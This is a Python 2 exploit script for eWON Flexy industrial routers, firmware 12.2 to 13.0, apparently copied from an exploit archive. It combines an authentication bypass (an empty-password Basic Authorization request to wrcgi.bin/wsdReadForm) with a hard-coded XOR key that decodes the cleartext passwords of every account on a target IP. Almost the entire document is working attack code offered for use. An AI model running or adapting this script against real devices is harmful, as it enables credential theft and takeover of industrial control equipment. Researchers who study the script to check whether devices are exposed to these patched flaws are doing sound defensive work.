eWON Flexy – Authentication Bypass
#!/usr/bin/env python ''' # Exploit Title: eWON v13.0 Authentication Bypass # Date: 2018-10-12 # Exploit Author: Photubias – tijl[dot]Deneut[at]Howest[dot]be for www.ic4.be # Vendor Advisory: [1] https://websupport.ewon.biz/support/news/support/ewon-security-enhancement-131s0-0 # [2] https://websupport.ewon.biz/support/news/support/ewon-security-vulnerability # Vendor Homepage: https://www.ewon.biz # Version: eWon Firmware 12.2 to 13.0 # Tested on: eWon Flexy with Firmware 13.0s0 Copyright 2019 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name eWON-Flewy-Pwn.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be This script will perform retrieval of clear text credentials for an eWON Flexy router Tested on the eWON Flexy 201 with Firmware 13.0s0 Only requires a valid username (default = adm) and this user must have the Rights 'View IO' & 'Change Configuration' It combines two vulnerabilities: authentication bypass (fixed in 13.1s0) and a weak password encryption, allowing cleartext password retrievel for all users (fixed in 13.3s0) ''' username = 'adm' import urllib2,urllib,base64,binascii,os def decode(encpass): xorString = "6414FE6F4C964746900208FC9B3904963A2F61" def convertPass(password): if (len(password)/2) > 19: print('Error, password can not exceed 19 characters') exit() return hexxor(password, xorString[:len(password)]) def hexxor(a, b): return "".join(["%x" % (int(x,16) ^ int(y,16)) for (x, y) in zip(a, b)]) if encpass.startswith('#_'): encpass = encpass.split('_')[2] coded = base64.b64decode(encpass) codedhex = binascii.hexlify(coded)[:-4] clearpass = binascii.unhexlify(convertPass(codedhex)) print('Decoded password: ' + clearpass) def getUserData(userid, strIP): postwsdlist = '["inf_HasJVM","usr_FirstName|1","usr_LastName|1","usr_Login|1","usr_Password|1","usr_Information|1","usr_Right|1","usr_AccessPage|1","usr_AccessDir|1","usr_CBEn|1","usr_CBMode|1","usr_CBPhNum|1","ols_AllAndAssignedPageList","ols_DirList","ols_CBMode"]' postwsdlist = postwsdlist.replace('|1','|'+str(userid)) postdata = {'wsdList' : postwsdlist} b64auth = base64.b64encode(username+':').replace('=','') result = urllib2.urlopen(urllib2.Request('http://'+strIP+'/wrcgi.bin/wsdReadForm',data=urllib.urlencode(postdata) ,headers={'Authorization' : ' Basic '+b64auth})).read() resultarr = result.split('","') if len(resultarr) == 20: fname = str(resultarr[1]) lname = str(resultarr[2]) usern = str(resultarr[3]) if len(usern) == 0: return True encpassword = resultarr[4] print('Decoding pass for user: '+usern+' ('+fname+' '+lname+') ') decode(encpassword) print('---') return True else: return True strIP = raw_input('Please enter an IP [10.0.0.53]: ') if strIP == '': strIP = '10.0.0.53' print('---') for i in range(20): if not getUserData(i, strIP): print('### That\'s all folks ;-) ###') raw_input() exit(0) raw_input('All Done') |